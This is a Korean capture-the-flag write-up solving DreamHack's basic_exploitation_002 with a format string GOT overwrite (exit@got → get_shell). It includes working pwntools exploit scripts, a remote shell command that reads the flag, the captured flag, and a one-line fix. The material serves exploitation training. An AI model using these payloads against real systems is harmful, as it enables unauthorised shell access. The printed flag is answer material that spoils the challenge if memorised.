문제: DreamHack — basic_exploitation_002 분류: System Hacking (Binary Exploitation) FLAG:
DH{59c4a03eff1e4c10c87ff123fb93d56c}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | basic_exploitation_002 |
| 난이도 | ⭐⭐ Level 2 |
| 제공 파일 | 바이너리 + C 소스코드 |
| 핵심 취약점 | Format String Bug (printf(buf)) |
| 공격 기법 | GOT Overwrite (exit@got → get_shell) |
| Arch | i386-32-little |
| RELRO | Partial RELRO |
| Stack Canary | 없음 |
| NX | 활성화 |
| PIE | 비활성화 (0x8048000 고정) |
소스코드랑 바이너리가 같이 준다. 취약점 찾겠다고 헤맬 것도 없었다 — 소스코드 열자마자 printf(buf) 한 줄이 눈에 박혔다. 딱 한 줄인데 Format String 취약점의 모든 게 담겨있다.
풀이의 흐름은 이렇다:
- 소스코드에서
printf(buf)발견 → Format String Bug 확정 get_shell()함수가 바이너리 안에 있다는 사실 확인 → shellcode 없이 실행 흐름을 넘길 수 있음- checksec으로 Partial RELRO + No PIE 확인 → GOT 쓰기 가능, 주소 고정
- 공격 타깃을
exit@got로 결정 —printf직후exit(0)이 호출되기 때문 - format string offset 탐색 → offset = 1
fmtstr_payload로 40바이트 페이로드 생성 → 원격 서버에서 FLAG 획득
🔬 소스코드 열자마자 다 보인다
Step 1 — 소스코드 전체 파악

소스코드 열면 전체가 40줄도 안 된다. 짧아서 오히려 핵심이 다 보임. 두 가지가 바로 눈에 들어온다.
첫 번째: get_shell() 함수
void get_shell() {
system("/bin/sh");
}
바이너리 안에 셸 띄워주는 함수가 이미 들어있다. main()에서 호출도 안 한다. 즉 "여기로 흐름만 넘기면 끝"이라는 얘기다. shellcode 짤 필요도, libc leak할 필요도 없다.
두 번째: printf(buf) — Format String Bug
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80); // 최대 128바이트 입력 받음
printf(buf); // ← 여기가 문제
exit(0);
}
printf(buf)는 사용자 입력을 포맷 스트링으로 그냥 써버린다.
원래 printf는 printf("%s", buf) 처럼 고정 포맷 문자열을 첫 번째 인자로 받고, 출력할 값은 그 다음에 받는다. 그런데 printf(buf)는 내가 입력한 buf 자체가 포맷 문자열이 된다. %p%p%p 같은 걸 입력하면 printf가 그걸 포맷 지시자로 해석해서 스택 값을 줄줄 읽어 뱉는다. %x면 16진수, %d면 10진수.
여기서 %n이 진짜 무기다. %n은 지금까지 출력한 바이트 수를 현재 인자 위치의 주소가 가리키는 메모리에 쓴다. 읽는 게 아니라 메모리에 쓴다는 거다. 버퍼에 덮어쓸 주소를 넣고 %n으로 거기에 값을 박을 수 있다.
그리고 printf 바로 다음에 exit(0)이 있다. GOT Overwrite는 GOT 엔트리를 덮어쓰고 그 함수가 실제로 불릴 때 터지는 방식인데, printf로 exit@got를 덮는 순간 바로 다음 줄 exit(0)이 get_shell()을 대신 부른다. printf랑 exit이 딱 붙어있어서 공격이 한 방에 끝난다.
두 가지를 합치면 공격 방향이 바로 나온다: printf로 exit@got 덮고, exit() 호출 시 get_shell()이 뜨게 만들면 끝.
Step 2 — checksec: 얼마나 잠겨 있나
방향은 잡혔다. 이제 이 공격이 실제로 통하는지 보호 설정으로 확인해보자.

Arch: i386-32-little
RELRO: Partial RELRO → GOT 영역이 쓰기 가능
Canary: No canary → 스택 보호 없음
NX: NX enabled → 셸코드 직접 실행 불가 (하지만 GOT 덮어쓰기로 우회)
PIE: No PIE → 바이너리 로드 주소 고정 (0x8048000)
각각 뭘 의미하고 이번 공격이랑 어떻게 연결되는지 하나씩 보자.
Arch: i386-32-little
32비트 x86 리틀엔디안 바이너리. 주소가 4바이트고, 저장할 때 낮은 바이트가 먼저 온다. 64비트보다 주소 크기가 작아서 페이로드 계산이 단순한 편이다. CTF 입문 문제에서 자주 보이는 조합.
RELRO: Partial RELRO → GOT 영역이 쓰기 가능
RELRO는 GOT를 보호하는 설정이다. GOT(Global Offset Table)는 printf, exit, read 같은 libc 함수의 실제 주소를 담고 있는 테이블인데, 프로그램이 exit(0)을 호출하면 GOT에서 exit의 주소를 꺼내 점프한다. Partial RELRO는 이 테이블이 실행 중에도 쓰기 가능하다. Full RELRO였으면 시작할 때 다 확정하고 읽기 전용으로 잠가버리니 GOT Overwrite 자체가 불가능하다.
아래는 ELF 바이너리 파일의 구조다. .got.plt 섹션이 GOT에 해당한다. 이 영역을 덮어쓰는 것이 이번 공격의 핵심이다.
ELF 파일 구조 — .got.plt 섹션 위치 확인 (출처: Wikimedia Commons, CC BY-SA 3.0)
Canary: No canary → 스택 보호 없음
Stack Canary는 함수 리턴 직전에 스택에 심어둔 값이 바뀌었는지 확인해서 스택 오버플로우를 막는 기법이다. 이번 공격은 스택 오버플로우가 아니라 Format String이라 Canary는 직접적인 영향이 없긴 한데, 없다는 건 방어 레이어가 그만큼 적다는 뜻이기도 하다.
NX: NX enabled → 셸코드 직접 실행 불가 (하지만 GOT 덮어쓰기로 우회)
NX는 스택이나 힙 같은 데이터 영역에서 코드를 직접 실행하지 못하게 막는 기능이다. 스택에 기계어 때려넣고 실행하는 옛날 방식은 NX 때문에 막힌다. 근데 GOT Overwrite는 이미 실행 가능한 .text 영역의 get_shell로 점프하는 거라 NX가 관계없다. 데이터를 실행하는 게 아니라 기존 코드로 넘어가는 거니까.
PIE: No PIE → 바이너리 로드 주소 고정 (0x8048000)
PIE는 실행할 때마다 랜덤 주소에 로드되게 만드는 기법이다. ASLR이랑 같이 쓰면 함수 주소가 매번 바뀐다. No PIE면 언제나 같은 베이스 주소(0x8048000)에 로드된다. 즉, 지금 확인한 get_shell 주소 0x8048609가 내일 돌려도, 서버에서도 똑같다는 얘기다.

checksec은 어떤 보호가 걸려있는지만 알 수 있고, 정작 공격에 필요한 실제 주소는 안 알려준다. 필요한 건 딱 두 개다: 덮을 위치(exit@got)랑 하이재킹할 목적지(get_shell).
이 주소들은 바이너리 내부에 이미 다 박혀있다. ELF 바이너리는 함수 이름-주소 심볼 테이블이랑 GOT 위치 같은 걸 구조화해서 담고 있어서, pwntools ELF 클래스로 열면 이름만으로 주소를 바로 꺼낼 수 있다. objdump -t나 readelf -s 치는 거랑 같은 작업을 한 줄로:
from pwn import *
# ELF: 바이너리 파일을 파싱해서 섹션, 심볼, GOT, PLT 등을 추출
elf = ELF('./basic_exploitation_002', checksec=False)
# elf.symbols: 함수명 → 주소 딕셔너리
# get_shell은 main에서 호출되지 않지만 바이너리에 컴파일되어 있음
print(f'get_shell : {hex(elf.symbols["get_shell"])}') # 0x8048609
# elf.got: 함수명 → GOT 엔트리 주소 딕셔너리
# GOT 엔트리에는 실제 libc 함수 주소가 런타임에 채워짐
# exit@got를 덮어쓰면 exit() 호출 시 다른 주소로 점프됨
for k,v in sorted(elf.got.items(), key=lambda x: x[1]):
print(f' {k}@got = {hex(v)}')
get_shell : 0x8048609 ← 공격 목표: 실행 흐름을 여기로 넘긴다
exit@got : 0x804a024 ← 덮어쓸 대상: printf 직후 exit()이 이 주소를 참조
No PIE라서 이 두 값은 로컬이든 서버든 매번 동일하다.
PIE가 있었으면 매 실행마다 베이스 주소가 바뀐다. 어제 get_shell이 0x56481234에 있었다면 오늘은 0x7fa31234가 되는 식. 그럼 실행할 때마다 실제 주소를 먼저 알아내야 한다. 이걸 leak이라고 한다 — %p로 스택 값 읽어서 현재 베이스 주소 역산하고 get_shell 위치 계산하는 과정. PIE 있으면 공격이 leak → overwrite 두 단계가 된다.
No PIE면 그런 거 없다. 로컬에서 확인한 0x8048609를 그냥 페이로드에 박으면 서버에서도 그 자리에 get_shell이 있다. 페이로드 한 번 날리면 끝.
💣 printf 한 줄이 이렇게 위험할 줄이야
printf(buf)가 대체 뭐가 위험한데?
printf를 쓰는 방법은 두 가지다:
printf("%s", buf); // 안전: 포맷 스트링이 고정 리터럴
printf(buf); // 위험: 사용자 입력이 포맷 스트링으로 해석됨
printf(buf)를 부르면 buf 내용이 포맷 스트링으로 파싱된다. 여기서 %n 계열이 핵심 무기다:
| 지시자 | 동작 |
|---|---|
%p | 스택에서 값을 읽어서 출력 (주소 leak) |
%n | 지금까지 출력된 바이트 수를 스택의 주소에 기록 (4바이트) |
%hn | 위와 같지만 2바이트 단위 |
%hhn | 위와 같지만 1바이트 단위 |
%n을 쓰려면 스택에 쓸 주소가 있어야 한다. 그 주소를 버퍼에 직접 때려넣고, 포맷 스트링으로 그 위치를 참조하면 된다. 이게 Format String Write의 전부다.
아래 다이어그램은 함수 호출 시 스택 구조다. printf(buf)가 불리면 buf의 포맷 스트링이 여기서 인자를 순서대로 소비한다. %p는 스택 값을 읽고, %n은 현재 인자 위치의 주소에 값을 기록한다.
함수 호출 시 스택 구조 — printf는 이 스택을 훑으며 포맷 인자를 하나씩 소비한다 (출처: Wikimedia Commons, Public Domain)
Step 3 — 내 버퍼, 스택 몇 번째야?
%n으로 버퍼 내 주소를 참조하려면, 내가 입력한 버퍼가 스택 몇 번째 인자 위치인지 먼저 알아야 한다.
AAAA + %p 반복 패턴을 던져서 0x41414141이 몇 번째에 뜨는지 보면 된다.
from pwn import *
# process(): 로컬에서 바이너리를 실행하고 stdin/stdout을 연결
p = process('./basic_exploitation_002')
# b'AAAA': 마커 문자열. 나중에 출력에서 0x41414141로 식별됨
# b'.%p'*10: 스택에서 10개 값을 포인터 형식으로 읽어서 출력
# → printf가 이것을 포맷 스트링으로 해석: 스택을 순서대로 leak
p.send(b'AAAA' + b'.%p'*10)
# recvall(): 프로세스가 종료될 때까지 모든 출력을 수신
print(p.recvall(timeout=2).decode(errors='replace'))

input: AAAA.%p.%p.%p.%p.%p.%p...
output: AAAA.0x41414141.0x70252e2e...
^^^^^^^^^^
첫 번째 %p에서 바로 등장 → offset = 1
offset = 1 확정. 버퍼가 스택 첫 번째 인자 위치에 바로 올라온다. 32비트에서 read()로 받은 버퍼가 스택 프레임 맨 위에 놓이는 구조.
offset 1이 의미하는 건: %1$n을 쓰면 버퍼 첫 번째 위치의 4바이트를 주소로 보고 거기에 쓴다는 것이다. 버퍼에 주소를 넣으면 %N$n으로 그 주소에 바로 값을 박을 수 있다.
🎯 어디를 노릴까 — exit() 뒤통수 치기
정리하면 이렇다:
현재: exit@got (0x804a024) → exit() 함수 (libc 내부)
목표: exit@got (0x804a024) → 0x8048609 (get_shell)
결과: exit(0) 호출 → get_shell() → system("/bin/sh")
exit@got를 노린 이유는, printf() 바로 다음에 exit(0)이 무조건 불리기 때문이다. 덮자마자 바로 터진다. 타이밍이 이보다 좋을 순 없다.
Step 4 — 40바이트짜리 폭탄 조립
pwntools fmtstr_payload()가 이 과정을 다 알아서 해준다. offset이랑 {덮을주소: 넣을값} 딕셔너리만 넘기면 최적화된 포맷 스트링이 뚝딱 나온다.

from pwn import *
elf = ELF('./basic_exploitation_002', checksec=False)
get_shell = elf.symbols['get_shell'] # 0x8048609
exit_got = elf.got['exit'] # 0x804a024
# fmtstr_payload(offset, writes)
# offset: 버퍼가 스택 몇 번째 인자에 있는지 (앞서 탐색한 값: 1)
# writes: {덮어쓸_주소: 넣을_값} 딕셔너리
# → 이 두 정보만으로 올바른 포맷 스트링 페이로드를 자동 생성
payload = fmtstr_payload(1, {exit_got: get_shell})
print(f'get_shell = {hex(get_shell)}') # 0x8048609
print(f'exit@got = {hex(exit_got)}') # 0x804a024
print(f'payload ({len(payload)}B): {payload}')
생성된 페이로드는 40바이트. buf 최대 크기인 128바이트보다 훨씬 작다.
fmtstr_payload 내부 동작 원리:
0x8048609를 한 번에 4바이트로 쓰려면 출력 카운터를 134513161까지 올려야 해서 비효율적이다. 대신 1~2바이트씩 나눠서 쓴다:
| 쓸 위치 | 쓸 값 | 방법 |
|---|---|---|
exit@got+0 (0x804a024) | 0x09 | %hhn — 1바이트 |
exit@got+1 (0x804a025) | 0x86 | %hhn — 1바이트 |
exit@got+2 (0x804a026) | 0x04 | %hhn — 1바이트 |
%Nc로 출력 카운터를 원하는 값으로 맞추고, %hhn으로 1바이트씩 기록한다. 버퍼 끝에 쓸 주소들(0x804a024, 0x804a025, 0x804a026)을 나란히 붙이고, %N$hhn으로 순서대로 참조하는 방식이다. 이 모든 게 40바이트 하나에 다 들어간다.
🚀 실제로 터뜨려보자
Step 5 — 로컬에서 먼저 한 번
원격에 바로 날리기 전에 로컬에서 먼저 확인한다. 페이로드가 맞다면 여기서도 셸이 떠야 한다.

from pwn import *
import time
elf = ELF('./basic_exploitation_002', checksec=False)
# fmtstr_payload로 exit@got → get_shell 덮어쓰기 페이로드 생성
payload = fmtstr_payload(1, {elf.got['exit']: elf.symbols['get_shell']})
# process(): 로컬 바이너리 실행
p = process('./basic_exploitation_002')
# send(): 페이로드 전송 (newline 없이)
# → read(0, buf, 0x80)이 이것을 수신
# → printf(buf)가 포맷 스트링으로 파싱 → exit@got 덮어씀
p.send(payload)
# printf가 포맷 스트링을 처리하는 동안 잠깐 대기
time.sleep(0.5)
# printf가 출력한 쓰레기 값들을 비운다
# (포맷 스트링 처리 중 %c 등으로 수백 바이트가 출력됨)
try: p.recv(timeout=0.3)
except: pass
# 셸이 떴으면 명령어를 보낼 수 있다
# sendline(): b'id' + b'\n' 전송
p.sendline(b'id')
time.sleep(0.3)
print(p.recv(timeout=1).decode())
# → uid=1000(jinho) gid=1000(jinho) ...
p.close()
id가 떴다. 로컬 셸 획득. GOT 덮어쓰기가 제대로 동작한다는 증거다.
실행 흐름을 다시 한 번 짚으면:
① read(0, buf, 0x80) — 40바이트 페이로드 수신
② printf(buf) — 포맷 스트링 파싱 → exit@got에 0x8048609 기록
③ exit(0) — exit@got를 참조 → get_shell() 호출!
④ system("/bin/sh") — 셸 실행
Step 6 — 서버에 그대로 날리기
같은 페이로드를 원격 서버에 그대로 전송한다.

from pwn import *
import time
elf = ELF('./basic_exploitation_002', checksec=False)
payload = fmtstr_payload(1, {elf.got['exit']: elf.symbols['get_shell']})
# remote(): TCP 소켓으로 원격 서버에 연결
# 로컬의 process()와 인터페이스가 동일 → 코드 변경 없이 그대로 사용 가능
conn = remote('host1.dreamhack.games', 21629)
# 로컬과 동일한 페이로드를 그대로 사용
# No PIE이므로 로컬과 서버의 get_shell/exit@got 주소가 동일함
conn.send(payload)
time.sleep(0.5)
# printf가 출력하는 쓰레기 값들 비우기
try: conn.recv(timeout=1)
except: pass
# 셸에서 명령 실행
# id: 현재 실행 중인 프로세스의 uid/gid 확인 → 셸 획득 증명
# ls -la: 현재 디렉터리 파일 목록 → flag 파일 확인
# cat flag: FLAG 내용 출력
conn.sendline(b'id && ls -la && cat flag')
time.sleep(0.5)
print(conn.recv(timeout=3).decode())
conn.close()
uid=1000(basic_exploitation_002) gid=1000(basic_exploitation_002)
total 32
drwxr-xr-x 2 root root 4096 Feb 13 2024 .
-rwxr-xr-x 1 root basic_exploitation_002 7776 Feb 13 2024 basic_exploitation_002
-r--r----- 1 root basic_exploitation_002 36 Feb 13 2024 flag
DH{59c4a03eff1e4c10c87ff123fb93d56c}
🎉 FLAG 획득!
서버의 flag 파일 권한은 -r--r----- — root 소유지만 basic_exploitation_002 그룹에게 읽기 권한이 있다. 우리가 획득한 셸의 gid=basic_exploitation_002이므로 바로 읽을 수 있다.
💥 40바이트로 서버 털기
#!/usr/bin/env python3
"""
basic_exploitation_002 — Format String GOT Overwrite
Target: exit@got → get_shell (0x8048609)
"""
import sys
import time
from pwn import *
BINARY = './basic_exploitation_002'
elf = ELF(BINARY, checksec=False)
get_shell = elf.symbols['get_shell'] # 0x8048609
exit_got = elf.got['exit'] # 0x804a024
# Format string offset = 1 (buf starts at %1$ position)
payload = fmtstr_payload(1, {exit_got: get_shell})
if len(sys.argv) >= 3:
conn = remote(sys.argv[1], int(sys.argv[2]))
else:
conn = process(BINARY)
conn.send(payload)
time.sleep(0.5)
try: conn.recv(timeout=0.5)
except: pass
conn.interactive()
실행:
# 원격
python3 exploit.py host1.dreamhack.games 21629
# 로컬
python3 exploit.py

🛡️ 한 줄 요약하면
| 단계 | 내용 |
|---|---|
| 취약점 발견 | printf(buf) — 사용자 입력이 포맷 스트링으로 해석됨 |
| 공격 가능 조건 | Partial RELRO (GOT writable) + No PIE (주소 고정) |
| 공격 타깃 | exit@got — printf 직후 exit()이 반드시 호출됨 |
| 목표 주소 | get_shell (0x8048609) — 바이너리 내부에 이미 존재 |
| 오프셋 | 1 — buf가 스택 첫 번째 인자 위치에 바로 등장 |
| 페이로드 | fmtstr_payload(1, {exit_got: get_shell}) → 40바이트 |
| 결과 | exit(0) 호출 → get_shell() → system("/bin/sh") |
Format String Bug 방어
고칠 건 딱 한 줄이다:
// 취약한 코드
printf(buf);
// 안전한 코드
printf("%s", buf);
포맷 스트링은 무조건 리터럴로 고정해야 한다. 컴파일러 경고(-Wall)가 이미 잡아주니까 경고만 무시 안 해도 막힌다.
📝 결국 printf 한 줄이었다
돌이켜보면 세 가지가 딱 맞아떨어진 문제였다:
printf(buf)하나로 임의 주소 쓰기가 가능 — Format String Bug- GOT가 쓰기 가능하고 주소가 고정 — Partial RELRO + No PIE
- 셸을 바로 띄워주는 함수가 바이너리 안에 있음 —
get_shell()
세 번째는 CTF 입문용이라서 주어진 조건이고, 실제로는 get_shell 같은 게 내장된 바이너리가 없다. 실전에선 libc leak → base 계산 → system/binsh 주소 조합이 추가되는데, Format String + GOT Overwrite 원리 자체는 그대로다.